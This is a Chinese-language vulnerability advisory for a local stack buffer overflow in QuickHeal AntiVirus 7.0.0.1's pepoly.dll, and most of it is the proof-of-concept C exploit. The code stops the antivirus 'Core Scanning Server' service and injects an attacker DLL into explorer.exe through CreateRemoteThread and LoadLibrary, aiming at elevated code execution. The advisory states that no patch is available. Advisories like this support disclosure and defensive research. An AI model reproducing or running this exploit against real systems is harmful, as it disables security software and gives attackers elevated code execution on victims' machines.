QuickHeal AntiVirus \'pepoly.dll\'模块本地栈缓冲区溢出漏洞
信息来源:Arash Allebrahim 发表日期:2013-01-18 20:10:00
QuickHeal AntiVirus是一款反病毒产品。
QuickHeal AntiVirus 7.0.0.1在实现上存在本地缓冲区溢出漏洞,本地攻击者可利用此漏洞以提升的权限运行任意代码。
BUGTRAQ-ID:64402
CVE-ID:2013-6767
受影响系统:
Quick Heal Technologies AntiVirus 7.0.0.1
Quick Heal Technologies AntiVirus
测试方法:
警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!#include <windows.h>
#include <tlhelp32.h>
#include <shlwapi.h>
#include <conio.h>
#include <stdio.h>
#include <tchar.h>
#include <aclapi.h>
#define WIN32_LEAN_AND_MEAN
#define CREATE_THREAD_ACCESS (PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ)
#pragma comment(lib, "advapi32.lib")
typedef struct _SERVICE_STATUS_PROCESS {
DWORD dwServiceType;
DWORD dwCurrentState;
DWORD dwControlsAccepted;
DWORD dwWin32ExitCode;
DWORD dwServiceSpecificExitCode;
DWORD dwCheckPoint;
DWORD dwWaitHint;
DWORD dwProcessId;
DWORD dwServiceFlags;
} SERVICE_STATUS_PROCESS, *LPSERVICE_STATUS_PROCESS;
VOID __stdcall DoStopSvc();
SC_HANDLE schSCManager;
SC_HANDLE schService;
int main(int argc, char * argv[])
{
char buf[MAX_PATH] = {0};
DWORD pID = GetTargetThreadIDFromProcName("explorer.exe");
printf("\\n\\n");
printf("\\n\\nQuickHeal Antivirus (7.0.0.1) pepoly.dll stack overflow vulnerability Proof of Concept Code");
printf("\\n\\nAuthor : Arash Allebrahim");
GetFullPathName("ShellExecuteExProperties.dll", MAX_PATH, buf, NULL);
printf("\\n");
DoStopSvc();
if(!Inject(pID, buf))
{
printf("\\n\\nDLL Not Loaded!");
}else{
printf("\\n\\nDLL Loaded!");
printf("\\n\\n( + ) It\'s ok! just click on QuickHeal tab!");
}
_getch();
return 0;
}
VOID __stdcall DoStopSvc()
{
SERVICE_STATUS_PROCESS ssp;
DWORD dwStartTime = GetTickCount();
DWORD dwBytesNeeded;
DWORD dwTimeout = 30000;
DWORD dwWaitTime;
schSCManager = OpenSCManager(
NULL,
NULL,
SC_MANAGER_ALL_ACCESS);
if (NULL == schSCManager)
{
printf("OpenSCManager failed (%d)\\n", GetLastError());
return;
}
schService = OpenService(
schSCManager,
"Core Scanning Server",
SERVICE_STOP |
SERVICE_QUERY_STATUS |
SERVICE_ENUMERATE_DEPENDENTS);
if (schService == NULL)
{
printf("OpenService failed (%d)\\n", GetLastError());
CloseServiceHandle(schSCManager);
return;
}
if ( !ControlService(
schService,
SERVICE_CONTROL_STOP,
(LPSERVICE_STATUS) &ssp ) )
{
printf( "ControlService failed (%d)\\n", GetLastError() );
}
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
}
BOOL Inject(DWORD pID, const char * DLL_NAME)
{
HANDLE Proc;
HMODULE hLib;
char buf[50] = {0};
LPVOID RemoteString, LoadLibAddy;
if(!pID)
return FALSE;
Proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID);
if(!Proc)
{
sprintf(buf, "OpenProcess() failed: %d", GetLastError());
printf(buf);
return FALSE;
}
LoadLibAddy = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
RemoteString = (LPVOID)VirtualAllocEx(Proc, NULL, strlen(DLL_NAME), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(Proc, (LPVOID)RemoteString, DLL_NAME, strlen(DLL_NAME), NULL);
CreateRemoteThread(Proc, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddy, (LPVOID)RemoteString, NULL, NULL);
CloseHandle(Proc);
return TRUE;
}
DWORD GetTargetThreadIDFromProcName(const char * ProcName)
{
PROCESSENTRY32 pe;
HANDLE thSnapShot;
BOOL retval, ProcFound = FALSE;
thSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(thSnapShot == INVALID_HANDLE_VALUE)
{
printf("Error: Unable to create toolhelp snapshot!");
return FALSE;
}
pe.dwSize = sizeof(PROCESSENTRY32);
retval = Process32First(thSnapShot, &pe);
while(retval)
{
if(StrStrI(pe.szExeFile, ProcName))
{
return pe.th32ProcessID;
}
retval = Process32Next(thSnapShot, &pe);
}
return 0;
}
解决办法:
厂商补丁:
Quick Heal Technologies
-----------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.quickheal.co.in/default.asp